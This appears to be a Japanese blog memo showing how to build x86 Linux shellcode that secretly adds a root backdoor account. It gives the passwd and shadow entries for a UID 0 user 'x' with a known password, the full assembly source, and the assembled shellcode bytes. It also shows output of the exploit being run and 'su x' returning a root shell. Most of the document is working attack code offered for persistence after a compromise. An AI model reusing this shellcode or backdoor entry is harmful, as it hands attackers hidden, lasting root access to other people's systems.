アカウントバックドアを作成するプログラムについてのメモである。ハッキングの置き土産としては最も単純なバックドアと言える。
root権限のアカウントをこっそり追加することで、いつでもroot権限を得ることができる。アカウントを追加するには/etc/passwdと/etc/shadowにデータを追加する必要がある。/etc/passwdは次のような構造をしている。
ユーザ名:パスワード:ユーザID:グループID:コメント:ホームディレクトリ:標準シェル
shadowファイルはpasswdのパスワード部分をより強固なセキュリティに守られた別のファイルに記述したもので、これによってパスワードの漏洩の危険性が少なくなる。shadowの構造は次のようになっている。
ユーザ名:パスワード:パスワード更新日時:使用可能になる日時:警告日:ログインしないとアカウントが失効する日数:アカウント失効までの日数:未使用:
これに従って、passwdファイルとshadowファイルに次のような文字列を追加する。これによりアカウントが追加され、好き放題にrootになれる。
x:x:0:0::/etc:/bin/sh
x:$1$N9rTnvmD$Z.e92/gt.SqCmUyyxHI6A0:1::::::
ユーザ名はxで、パスワードはnewbieであるアカウントが追加されることになる。shadowの2つ目のフィールドはパスワードがMD5で暗号化されたものである。この機能を実現するソースを次に記述する。
.globl main
main:
jmp ONE
TWO:
# To /etc/passwd
#open
popl %ebx
xorl %eax, %eax
movb %al, 11(%ebx)
movb $0x0a, 33(%ebx)
movb %al, 34(%ebx)
movb %al, 46(%ebx)
movb $0x0a, 91(%ebx)
movb %al, 92(%ebx)
movb $0x5, %al
xorl %ecx, %ecx
inc %ecx
int $0x80
add $12, %ebx
movl %ebx, %esi
movl %eax, %ebx
xorl %ecx, %ecx
xorl %edx, %edx
inc %edx
inc %edx
xorl %eax, %eax
movb $19, %al
int $0x80
#write
xorl %eax, %eax
movb $0x4, %al
movl %esi, %ecx
movb $22, %dl
int $0x80
#close
movb $0x6, %al
int $0x80
movl %ecx, %ebx
add $23, %ebx
# To /etc/shadow
#open
movb $0x5, %al
xorl %ecx, %ecx
inc %ecx
int $0x80
add $12, %ebx
movl %ebx, %esi
movl %eax, %ebx
xorl %ecx, %ecx
xorl %edx, %edx
inc %edx
inc %edx
xorl %eax, %eax
movb $19, %al
int $0x80
#write
xorl %eax, %eax
movb $0x4, %al
movl %esi, %ecx
movb $45, %dl
int $0x80
#close
movb $0x6, %al
int $0x80
#exit
xorl %eax, %eax
movb $0x1, %al
xorl %ebx, %ebx
int $0x80
ONE:
call TWO
.string "/etc/passwd_x:x:0:0::/etc:/bin/sh__/etc/shadow_x:$1$N9rTnvmD$Z.e92/gt.SqCmUyyxHI6A0:1::::::"
ソースコードをバイトコードに変換すると次のようなコードが得られる。
eb 74 5b 31 c0 88 43 0b c6 43 21 0a 88 43 22 88 43 2e c6 43 5b 0a 88 43 5c b0 05 31 c9 41 cd 80 83 c3 0c 89 de 89 c3 31 c9 31 d2 42 42 31 c0 b0 13 cd 80 31 c0 b0 04 89 f1 b2 16 cd 80 b0 06 cd 80 89 cb 83 c3 17 b0 05 31 c9 41 cd 80 83 c3 0c 89 de 89 c3 31 c9 31 d2 42 42 31 c0 b0 13 cd 80 31 c0 b0 04 89 f1 b2 2d cd 80 b0 06 cd 80 31 c0 b0 01 31 db cd 80 e8 87 ff ff ff 2f 65 74 63 2f 70 61 73 73 77 64 5f 78 3a 78 3a 30 3a 30 3a 3a 2f 65 74 63 3a 2f 62 69 6e 2f 73 68 5f 5f 2f 65 74 63 2f 73 68 61 64 6f 77 5f 78 3a 24 31 24 4e 39 72 54 6e 76 6d 44 24 5a 2e 65 39 32 2f 67 74 2e 53 71 43 6d 55 79 79 78 48 49 36 41 30 3a 31 3a 3a 3a 3a 3a 3a
尋常ではないぐらい大きなサイズのバイトコードが生成された。これをC言語のテストプログラム([SC] exploit.c)に埋め込み、Exploitを撃つ。
defolos@glazheim:~/Desktop$ gcc exploit.c defolos@glazheim:~/Desktop$ ./a.out sp = 0xbffff918 ret = 0xbffff918 -------exploit--------------- defolos@glazheim:~/Desktop$
これでアカウント情報が追加されたはずであるので、確認する。
glazheim:/home/defolos/Desktop# cat /etc/passwd .....(省略) saned:x:110:110::/home/saned:/bin/false gdm:x:105:111:Gnome Display Manager:/var/lib/gdm:/bin/false x:x:0:0::/etc:/bin/sh
glazheim:/home/defolos/Desktop# cat /etc/shadow .....(省略) saned:!:13463:0:99999:7::: gdm:!:13463:0:99999:7::: x:$1$N9rTnvmD$Z.e92/gt.SqCmUyyxHI6A0:1::::::
正常に追加されていることが確認できた。次にログインできるか試す。
defolos@glazheim:~/Desktop$ su x Password: sh-2.05b# whoami root
ログインに成功していることがわかる。ユーザ名x、パスワードnewbieでログインできることが確認できた。権限もrootに設定されている。
今回作成したソースではMD5で暗号化されたパスワードをそのまま追加する。MD5はハッシュなので、どのような文字列を暗号化しても同じ桁数の暗号文が生成される。そのためパスワードを変えれば自分だけがログインできる裏口を作ることができる。ただし、ユーザ名を2文字以上に変えるときはアセンブリを組みなおさなければならない。
「数字の0と文字の0はまったく別物である」
ペイロードにはNULL(0)を含めることができないが、NULLはASCIIコードで0x00であるのに対し、文字の0は0x30である。